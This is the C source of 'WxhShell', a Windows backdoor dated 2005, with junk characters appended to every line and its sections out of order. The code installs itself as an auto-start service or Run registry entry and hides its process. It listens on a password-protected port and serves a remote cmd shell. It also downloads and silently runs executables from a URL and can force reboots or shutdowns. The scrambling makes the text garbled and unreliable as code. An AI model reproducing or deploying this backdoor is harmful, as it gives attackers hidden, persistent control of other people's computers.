    if(Boot(SHUTDOWN)) z~-(nyaBS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?y]R /?  
    else { NEUr w/  
    closesocket(wsh); AdpJ4}|0  
    ExitThread(0); 4ClSl#X#i  
    } ~ulcLvm:i  
    break; !F:mD ZeY  
    } cyLl,OA  
  // 获取shell Bq;GO  
  case 's': { ^AShy`o^X  
    CmdShell(wsh); x=Aq5*A0  
    closesocket(wsh); ,1g_{dMx  
    ExitThread(0); UGlHe7  
    break; 2z.~K&+x  
  } (Hmm^MV)  
  // 退出 {{Qbu }/@  
  case 'x': { Dpwqg3,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V%{WH}  
    CloseIt(wsh); {+ Ibi{  
    break; j 7^A%9  
    } s q;!5qK  
  // 离开 '7pzw>E=:  
  case 'q': { qDTdYf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %-]a[qf3  
    closesocket(wsh); u(fZ^  
    WSACleanup(); gkX7,J-0  
    exit(1); c3Gy1#f:#2  
    break; (/0dtJ  
        } fdWqc_  
  } )Fp$ *]|  
  } &]Uo>Gb3!q  
Q% d1O  
  // 提示信息 ]kXW eY<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z@ J>A![m  
} ;X a N  
  } q2r$j\L%  
p!~1~q6  
  return; ).IyjHY  
} TpwN2 =  
)#8g<]q  
// shell模块句柄 n*Dn{ 7v#z  
int CmdShell(SOCKET sock) z;dRzwL  
{ c{dabzL y  
STARTUPINFO si; x;sc?5_`  
ZeroMemory(&si,sizeof(si)); /M::x+/T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^<qi&*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~ +>e hU  
PROCESS_INFORMATION ProcessInfo; :s&dn%5N"  
char cmdline[]="cmd"; wPm  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J^ewG  
  return 0; JBLUX,  
} c|`$ h  
Rzh.zvxTp  
// 自身启动模式 tk*-Cx?_  
int StartFromService(void)  T&MhSJf#  
{ i9De+3VqKK  
typedef struct $.kJBRgV*  
{ .4U*.Rf  
  DWORD ExitStatus; /gl8w-6  
  DWORD PebBaseAddress; gpf0 -g-X  
  DWORD AffinityMask; \lm]G7h  
  DWORD BasePriority; p/RT*?<   
  ULONG UniqueProcessId; :{ZwzJ  
  ULONG InheritedFromUniqueProcessId; a*LfT<hmU3  
}   PROCESS_BASIC_INFORMATION; #T2J +  
@y~kQ5k  
PROCNTQSIP NtQueryInformationProcess; #=S^i[K/  
knYp"<qj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CYQ)'v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~CkOiWC0  
M2|h.+[Q  
  HANDLE             hProcess; ![_0GFbT  
  PROCESS_BASIC_INFORMATION pbi; d6'G 7'9  
xlJWCA*>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #"rK1Z  
  if(NULL == hInst ) return 0; dd<l;4(  
q)Nw$dW<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (g/A uL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }.E^_`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); TUC)S&bC  
-5 PVWL\  
  if (!NtQueryInformationProcess) return 0; wB[f%mHs  
'!`\!=j-`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ) c\Y!vS  
  if(!hProcess) return 0; tx>7?e8E  
_Iav2= 0Wi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >~rlnRX  
o}114X4q;  
  CloseHandle(hProcess); t~j 6wsx;  
?@,EGY <  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F c5t,P  
if(hProcess==NULL) return 0; ;]Q6K9.d8  
bV&9>fC  
HMODULE hMod; CAC4A   
char procName[255]; 3MNM<Ih  
unsigned long cbNeeded; ]&]DF Y~n  
C'|9nK$%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -Q@f),  
-'d:~:1f  
  CloseHandle(hProcess); yiC7)=  
s. A}ydtt  
if(strstr(procName,"services")) return 1; // 以服务启动 EUuSN| a  
<JWU@A-.y  
  return 0; // 注册表启动 `HQ)][  
} 4BCe;Q^6  
^gvTc+|  
// 主模块 zU ~ Ff"<  
int StartWxhshell(LPSTR lpCmdLine) O8$~dzf,2  
{ w=WF$)ZU  
  SOCKET wsl; IUv#nB3  
BOOL val=TRUE; SK'h!Ye5Z  
  int port=0; sV a0eGc  
  struct sockaddr_in door; \Dq'~ d  
rN} 8~j  
  if(wscfg.ws_autoins) Install(); KoNu{TJ  
N~8H\  
port=atoi(lpCmdLine); }-Mg&~e`  
d2#NRqgQ  
if(port<=0) port=wscfg.ws_port; P\ke%Jdpw?  
+:;ddV  
  WSADATA data; ^BA%]pe$I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \(j*K6#  
$YEm(:v$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "UMaZgI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q*>)W{H&)  
  door.sin_family = AF_INET; x5Lbe5/P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *7h~0%WR  
  door.sin_port = htons(port); b+|Jw\k  
}OAU5P!rp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { FHr)xqo=~  
closesocket(wsl); (V6bX]<  
return 1; H u;"TG  
} G9Uc }z  
Z\CvaX  
  if(listen(wsl,2) == INVALID_SOCKET) { BeVDTk :  
closesocket(wsl); <C'_:&M  
return 1; /"gRyv  
}  80@\e  
  Wxhshell(wsl); Bgm8IK)6  
  WSACleanup(); a(A~S u97  
/\/^= j  
return 0; |?^<=%  
/Pg)7Zn  
} r/!,((Z\  
n]IF`kYQV  
// 以NT服务方式启动 <x^$Fu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z?'CS|u d  
{ sq_>^z3T  
DWORD   status = 0; c]|vg=W  
  DWORD   specificError = 0xfffffff; n;Oe-+oSC  
5Z!$?J4Rl  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nd8<*ru$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X#&5?oq`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5eori8gr7  
  serviceStatus.dwWin32ExitCode     = 0; r V%6 8x9  
  serviceStatus.dwServiceSpecificExitCode = 0; _R ii19k  
  serviceStatus.dwCheckPoint       = 0; @ar%`+_  
  serviceStatus.dwWaitHint       = 0; f1_;da  
D j9aTO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~][~aEat;V  
  if (hServiceStatusHandle==0) return; ML12&E>  
|:R\j0t  
status = GetLastError(); ]AY 4bm  
  if (status!=NO_ERROR) Ww-x+U\l  
{ ..8t1+S6]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #AGO~#aK  
    serviceStatus.dwCheckPoint       = 0; S!8<|WO^t  
    serviceStatus.dwWaitHint       = 0; I_ZJnu<  
    serviceStatus.dwWin32ExitCode     = status; w"9h_;'C_  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z5q%L!4G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {S=<(A @  
    return; uQO5GDuK>  
  } m0bxVV^DK!  
r*`e%`HU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @GKDSS4jv  
  serviceStatus.dwCheckPoint       = 0; SiaNL:  
  serviceStatus.dwWaitHint       = 0; *B|hRZka1A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lm4A%4-db  
} 'r!!W0-K  
W/2y; @  
// 处理NT服务事件,比如:启动、停止 ]vQa~}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _R\FB|_  
{ ?C2(q6X+s  
switch(fdwControl) FAnz0p+t  
{ Bo "9;F  
case SERVICE_CONTROL_STOP: 3%)cUkD  
  serviceStatus.dwWin32ExitCode = 0; `Vw G]2 I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :g|.x  
  serviceStatus.dwCheckPoint   = 0; F-3=eKZ  
  serviceStatus.dwWaitHint     = 0; NRx 7S 9W  
  { v)du]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9Ad%~qciY  
  } 1!1JT;gG^9  
  return; |Gz<I  
case SERVICE_CONTROL_PAUSE: ompr})c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7I[[S!((s  
  break; aE07#  
case SERVICE_CONTROL_CONTINUE: jI8`trD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @:zC!dR)G  
  break; s1_Y~<y X  
case SERVICE_CONTROL_INTERROGATE: #!Cg$6%x9  
  break; j>JBZ#g  
}; .@&FJYkLYi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wmd@%K  
} */K[B(G  
rd->@s|4mT  
// 标准应用程序主函数 En&7e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Hi[lN7ma8  
{ q<E7q Y+  
 GhfhR^P  
// 获取操作系统版本 wetu.aMp  
OsIsNt=GetOsVer(); gaXo)oS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i`@cVYsL  
Lmjd,t  
  // 从命令行安装 Gk5'|s  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]#M"|iTR  
e2=}qE7  
  // 下载执行文件 jF;<9-m&  
if(wscfg.ws_downexe) { ;b [>{Q;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =r/K#hOR\J  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6E) T;R(@  
} co\?SgE35  
ZiR}S  
if(!OsIsNt) { G%~V b  
// 如果时win9x,隐藏进程并且设置为注册表启动 |gA@$1+}  
HideProc(); 9q?knMt  
StartWxhshell(lpCmdLine); 5]*lH t  
} bq7+l4CGTv  
else &pI\VIx ?  
  if(StartFromService()) 9mvy+XD  
  // 以服务方式启动 jW#dUKS(  
  StartServiceCtrlDispatcher(DispatchTable); i%133in  
else L?u {vX  
  // 普通方式启动 |E K6txRb  
  StartWxhshell(lpCmdLine); RbUir185Y  
+DSbr5"VlB  
return 0; )q'dX+4=eL  
} wrJQkven-  
Q3ZGN1aX<  
:gRrM)n  
2f:hz  
=========================================== A&1EOQ=N  
eJqx,W5MK]  
yzfiH4  
%u%;L+0Q[  
ypM,i  
@GAj%MK$  
" 53uptQ{   
]kNxytH\o  
#include <stdio.h> d >L8S L  
#include <string.h> ^e "4@O"  
#include <windows.h> h(q4 B~  
#include <winsock2.h> Pq~#SxA~  
#include <winsvc.h> =X'EDw  
#include <urlmon.h> < *iFVjSI(  
a.u{b&+9  
#pragma comment (lib, "Ws2_32.lib") \Yp"D7:Qi  
#pragma comment (lib, "urlmon.lib") r|Uz?  
8Ie0L3d-  
#define MAX_USER   100 // 最大客户端连接数 |qpm  
#define BUF_SOCK   200 // sock buffer @I Y<i5(  
#define KEY_BUFF   255 // 输入 buffer ZD50-w;  
yT%<  t  
#define REBOOT     0   // 重启 ,%m~OB #  
#define SHUTDOWN   1   // 关机 dT1UYG}>j  
\l(}8;5}  
#define DEF_PORT   5000 // 监听端口 si%V63^lN  
\zcSfNE  
#define REG_LEN     16   // 注册表键长度 eiOAbO#U  
#define SVC_LEN     80   // NT服务名长度 im>/$!&OyI  
unYPvrd  
// 从dll定义API ^38k xwh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LVP6vs  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,EH-Sf2Cb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~>]Ie~E: (  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mMZ=9 ?m  
k"dE?v\cG  
// wxhshell配置信息 oM n'{+(w  
struct WSCFG { T}p|_)&y  
  int ws_port;         // 监听端口 L(y~ ,Kc  
  char ws_passstr[REG_LEN]; // 口令 ][z!};  
  int ws_autoins;       // 安装标记, 1=yes 0=no RionKiN  
  char ws_regname[REG_LEN]; // 注册表键名 4`CO>Q  
  char ws_svcname[REG_LEN]; // 服务名 F":dS-u&L  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,+Ya'4x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ' z^v}~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^s8JW"H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {dl@ #T u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l9 rN!Q|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C`oB [  
_}`y3"CD7  
}; 0,LUi*10  
,;= S\  
// default Wxhshell configuration up3m um  
struct WSCFG wscfg={DEF_PORT, H/#WpRg  
    "xuhuanlingzhe", |[bQJ<v6  
    1, ' #r^W2  
    "Wxhshell", ^^Q> AfTR.  
    "Wxhshell", K8iQ?  
            "WxhShell Service", j~ qm5}  
    "Wrsky Windows CmdShell Service", toox`|  
    "Please Input Your Password: ", MIv,$  
  1, 1N8YD .3  
  "http://www.wrsky.com/wxhshell.exe", No/D"S#  
  "Wxhshell.exe" mc6W"  
    }; xO 1uHaL  
T 6rjtq  
// 消息定义模块 YH[HJ#:7r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x A ZRl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |SsmVW$B|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sr.!EQ]  
char *msg_ws_ext="\n\rExit."; H,1I z@W1  
char *msg_ws_end="\n\rQuit."; k*T&>$k}^  
char *msg_ws_boot="\n\rReboot..."; 6FI`0j=~  
char *msg_ws_poff="\n\rShutdown..."; t9kqX(!  
char *msg_ws_down="\n\rSave to "; ^#j{9FpPs  
NEMC  
char *msg_ws_err="\n\rErr!"; FE?^}VH  
char *msg_ws_ok="\n\rOK!"; fPsUIlI/A  
'~Gk{'Nx"  
char ExeFile[MAX_PATH]; }D#[yE,=\  
int nUser = 0; Ru`7Xd.  
HANDLE handles[MAX_USER]; ^F$iD (f  
int OsIsNt; {cYbM[}U"  
=^3B&qQNq  
SERVICE_STATUS       serviceStatus; UXV>#U?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  AQz&u  
t.m C q 4{  
// 函数声明 RjQdlr6*  
int Install(void); q0]Z` <w  
int Uninstall(void); N u9+b"Wr  
int DownloadFile(char *sURL, SOCKET wsh); J|I&{  
int Boot(int flag); &l1CE1 9<  
void HideProc(void); ID v|i.q3  
int GetOsVer(void); E./Gt.Na  
int Wxhshell(SOCKET wsl); syLpnNx=  
void TalkWithClient(void *cs); Dmv@ljwO  
int CmdShell(SOCKET sock); 8Ow0A  
int StartFromService(void); f<~S0[H  
int StartWxhshell(LPSTR lpCmdLine); H;eOrX {GT  
5U&?P   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cn!Y7LVr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J#& C&S 2  
Lv?e[GA  
// 数据结构和表定义 :Qra9; Y  
SERVICE_TABLE_ENTRY DispatchTable[] = `]:&h'  
{ vErlh:~e  
{wscfg.ws_svcname, NTServiceMain}, #EdsB  
{NULL, NULL} wNm~H  
}; T8rf+B/.L  
g{06d~Y  
// 自我安装 cH%#qE3  
int Install(void) b:}+l;e5 2  
{ \a\ApD  
  char svExeFile[MAX_PATH]; JmK[7t  
  HKEY key; Syj7K*,%bZ  
  strcpy(svExeFile,ExeFile); O(QJiS  
^iq$zHbc0u  
// 如果是win9x系统,修改注册表设为自启动 +'!vm6  
if(!OsIsNt) { V|8`]QW@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {$mj9?n=v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i.`RQZ$,/  
  RegCloseKey(key); 7 V+rQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?]L:j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \;s mH;m  
  RegCloseKey(key); j;']L}R  
  return 0; oUwu:&<Orm  
    } p#95Q  
  } PH}^RR{H[  
} _ mw(~r8R  
else { %,M(-G5j;  
WSW,}tFp"  
// 如果是NT以上系统,安装为系统服务 m^)h/s0A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lE?F Wt  
if (schSCManager!=0) FWbA+{8  
{ _=eeZ4f  
  SC_HANDLE schService = CreateService G}b LWA  
  ( J<{@D9r9<~  
  schSCManager, U0:tE>3`  
  wscfg.ws_svcname, 2x7%6'  
  wscfg.ws_svcdisp, B3^4,'  
  SERVICE_ALL_ACCESS, 3;J)&(j0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )0:@T)G  
  SERVICE_AUTO_START, T;%ceLD  
  SERVICE_ERROR_NORMAL, _ %HyXd  
  svExeFile, L>mv\D;o.  
  NULL, pPdOw K#  
  NULL, ~\z\f} w  
  NULL, jci'q=Vpu  
  NULL, JUlV$b.)J  
  NULL E}$K&<J'-  
  ); -l!;PV S|  
  if (schService!=0) QDC]g.x  
  { >Cjb|f3'i}  
  CloseServiceHandle(schService); An e.sS  
  CloseServiceHandle(schSCManager); i+V4_`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P:")Qb2  
  strcat(svExeFile,wscfg.ws_svcname); Y`u.P(7#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t3 q0|S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l%^'K%'b  
  RegCloseKey(key); >_y>["u6J#  
  return 0; m"!!)  
    } v?\bvg\E  
  } P==rY5+s`  
  CloseServiceHandle(schSCManager); l }?'U  
} UUx0#D/U0C  
} ,z?Re)q m  
#n'tpp~O  
return 1; \DE`tkV8  
} j_?U6$xi  
v |XEC[F  
// 自我卸载 #isBE}sT{  
int Uninstall(void) * SG0-_S  
{ 7ST[XLwt%}  
  HKEY key; TCSm#?[B  
m(Cn'@i`"0  
if(!OsIsNt) { ?hS n)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m#'2 3  
  RegDeleteValue(key,wscfg.ws_regname); W)F2X0D>  
  RegCloseKey(key); Vl!Z|}z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }Jgz#d  
  RegDeleteValue(key,wscfg.ws_regname); ] y, 6  
  RegCloseKey(key); :G|Jcl=r  
  return 0; @Zs}8YhC  
  } !m$OI:rr  
} l|fOi A*K  
} j+n1k^jC  
else { 7:1c5F~M  
EY(@R2~#J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9 z,?DBMvc  
if (schSCManager!=0) <dzE5]%\  
{ C,w$)x5kls  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bf `4GD(  
  if (schService!=0) _?3bBBy  
  { bgd1j,PWbW  
  if(DeleteService(schService)!=0) { 6P' m0  
  CloseServiceHandle(schService); <3QE3;4  
  CloseServiceHandle(schSCManager); tWi@_Rlx;  
  return 0; k[N46=u  
  } 8KD7t&H  
  CloseServiceHandle(schService); +gTnq")wnI  
  } n-dO |3,  
  CloseServiceHandle(schSCManager); -\j}le6;c  
} LD WFc_  
} D a)[mxJ  
CCX\"-C  
return 1; }abM:O "Y  
} Ku_`F2Q  
77OH.E|$  
// 从指定url下载文件 _EOQ*K#=Ct  
int DownloadFile(char *sURL, SOCKET wsh) 9q;\;-  
{ @7%nMTZ@&v  
  HRESULT hr; 38%]G Q  
char seps[]= "/"; s} ,p>8  
char *token; :?{ **&=  
char *file; VuFH >8n  
char myURL[MAX_PATH]; e.i5j^5u  
char myFILE[MAX_PATH]; UR?[ba_h   
TE0hV w0c  
strcpy(myURL,sURL); jj#K[@u  
  token=strtok(myURL,seps); j3~:\H  
  while(token!=NULL) JPgV7+{b[  
  { V2%FWo|  
    file=token; W\zg#5fmK  
  token=strtok(NULL,seps); qU#Gz7/  
  } q[l},nw  
7,_N9Q]rB  
GetCurrentDirectory(MAX_PATH,myFILE);  AMvM H  
strcat(myFILE, "\\"); JcZs\ fl9  
strcat(myFILE, file); ?G1-X~Z8  
  send(wsh,myFILE,strlen(myFILE),0); H.j(hc'  
send(wsh,"...",3,0); 6d,jR[JP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bxO8q57  
  if(hr==S_OK) rU5gQq;  
return 0; (M6B$:  
else vI#\ Qe  
return 1; #OH-LWZh  
D2~e@J(K  
} H__9%p#  
~d 7!)c`z  
// 系统电源模块 y-{^L`%Mk  
int Boot(int flag) GLt#]I"LY  
{ 9>qR6k ?  
  HANDLE hToken; yuk64o2QE  
  TOKEN_PRIVILEGES tkp; %? _pSH}$!  
J \1&3r|R  
  if(OsIsNt) { x\!Qe\lE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #Z}\;a{vZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ju(&v*KA  
    tkp.PrivilegeCount = 1; $)mE"4FE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z6X?M&-Lz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DTt/nmKAqJ  
if(flag==REBOOT) { -d6| D?}S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H |Z9]+h)7  
  return 0; t*82^KDU  
} #5N#^#r"  
else { MV H^["AeR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _UYt  
  return 0; |SZRO,7x  
} 3.?PdK&C  
  } Ej ip%m  
  else { =g2; sM/  
if(flag==REBOOT) { uOEy}&fH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [(w _!|S  
  return 0; <u*~RYA2  
} 'd^U!l  
else { 4_8%ZaQ\.?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a [iC!F2  
  return 0;  Jt.dR6,  
} q*\ #H C  
} uv}[MXOP  
,+KZn}>  
return 1; s$:F^sxb  
} pRD8/7@(B{  
hJ>{`Tw  
// win9x进程隐藏模块 L=Fm:O'#2  
void HideProc(void) # h]m8  
{ ea=@r Ng  
/fWVgyW> 6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k;R*mg*K  
  if ( hKernel != NULL ) OO] ~\j  
  { &p^ S6h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N' t*eCi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kz(%8qi8&  
    FreeLibrary(hKernel); S`BLwnU`#  
  } i))S%!/r~  
~#&bDot  
return; tEf_XBjKV  
} `B"=\0  
+n%uIv  
// 获取操作系统版本 m\__Fl  
int GetOsVer(void) Z TWbe  
{ ;M{ @23?`  
  OSVERSIONINFO winfo; :kfHILi  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H*!j\|v0  
  GetVersionEx(&winfo); =4"D8 UaHr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Bl2y~fCA  
  return 1; 5. 5  
  else :t8(w>oW  
  return 0; =M>1;Qr<Z/  
} D%N^iJC,9  
=2BGS\$#  
// 客户端句柄模块 j#"?Oe{_1  
int Wxhshell(SOCKET wsl) z[B*sbS  
{ QDRSQ[\  
  SOCKET wsh; ^!L'Ao y;E  
  struct sockaddr_in client; Ka&[ Oz<w  
  DWORD myID; q%w\UAqA  
d,CtlWp  
  while(nUser<MAX_USER) N Q_H-D\,  
{ }xn\.M:ic  
  int nSize=sizeof(client); V{p*N*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); + O=wKsGD  
  if(wsh==INVALID_SOCKET) return 1; Qa~o'  
6&S;Nrg9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (n05MwKu\  
if(handles[nUser]==0) D+]#qS1q  
  closesocket(wsh); CDQ}C=4  
else _{)e\n  
  nUser++; $*V:; -H  
  } w7$*J:{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J4#t1P@Na  
X#j-Ld{j  
  return 0; ?1K|.lr  
} w?d~c*4+  
5e~\o}]  
// 关闭 socket 4pq@o  
void CloseIt(SOCKET wsh) acz8 H 0cS  
{ 8rAOs\ys  
closesocket(wsh); xAw$bJj~s  
nUser--; &[f.;1+C  
ExitThread(0); "G-} wt+P  
} abh='5H|^|  
IqJ7'X  
// 客户端请求句柄 L}*:,&Y/  
void TalkWithClient(void *cs) y8'WR-;  
{ EYtf>D  
LFvKF.  
  SOCKET wsh=(SOCKET)cs; @r]wZ~@  
  char pwd[SVC_LEN]; @,F8gv*  
  char cmd[KEY_BUFF]; ;,![Lar5L  
char chr[1]; [,Q(~Qb  
int i,j; ?Y7'OlO  
r63_|~JVB<  
  while (nUser < MAX_USER) { r!N)pt<g  
-B-?z?+(O  
if(wscfg.ws_passstr) { 6!bp;iLKy  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j/`- x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r|wB& PGW  
  //ZeroMemory(pwd,KEY_BUFF); =QFnab?N  
      i=0; SQhk)S  
  while(i<SVC_LEN) { qP{S!Z(  
GO{o #}  
  // 设置超时 WJbdsPs  
  fd_set FdRead; DG,CL8bv  
  struct timeval TimeOut; M3c!SXx\  
  FD_ZERO(&FdRead); !Z[dK{ f"  
  FD_SET(wsh,&FdRead); ,3l=44*  
  TimeOut.tv_sec=8; /HbxY  
  TimeOut.tv_usec=0; px;5X4U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #va|&QBZxM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lPF(&pP  
v'nM=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y [Jt+p]  
  pwd=chr[0];  lc9aDt  
  if(chr[0]==0xd || chr[0]==0xa) { Seh[".l  
  pwd=0; Q;{[U!\:  
  break; eQ _dO]Q  
  } os6p1"_\f  
  i++; d\C x(Lb[  
    } H }w"4s  
e=K2]Y Q{  
  // 如果是非法用户,关闭 socket kXimJL_<g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~wG.'d]  
} zy\p,  
,,1H#;j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }% (e`[?1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (qd$wv^ h  
'PPVM@)fU  
while(1) { c4QegN  
y,&.<Yc  
  ZeroMemory(cmd,KEY_BUFF); cpz'upVOZ  
YI05?J}  
      // 自动支持客户端 telnet标准   i'&KoR ?  
  j=0; JTbg8b  
  while(j<KEY_BUFF) { <[{Ty+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %-ih$ZY  
  cmd[j]=chr[0]; n';"c;Ye)  
  if(chr[0]==0xa || chr[0]==0xd) { lF-;h{   
  cmd[j]=0; `H+~LVH  
  break; i*3 4/  
  } 7^$PauAv  
  j++; V_Z~$  
    } 0v6(A4Y  
1Xy{&Ut\  
  // 下载文件 3/a$oO  
  if(strstr(cmd,"http://")) { W\09h Z6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9y=$ |"<(  
  if(DownloadFile(cmd,wsh)) lK;/97Ze  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); RqTW$94RD  
  else _Eq*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hgCF!eud  
  } V0hC[Ilr  
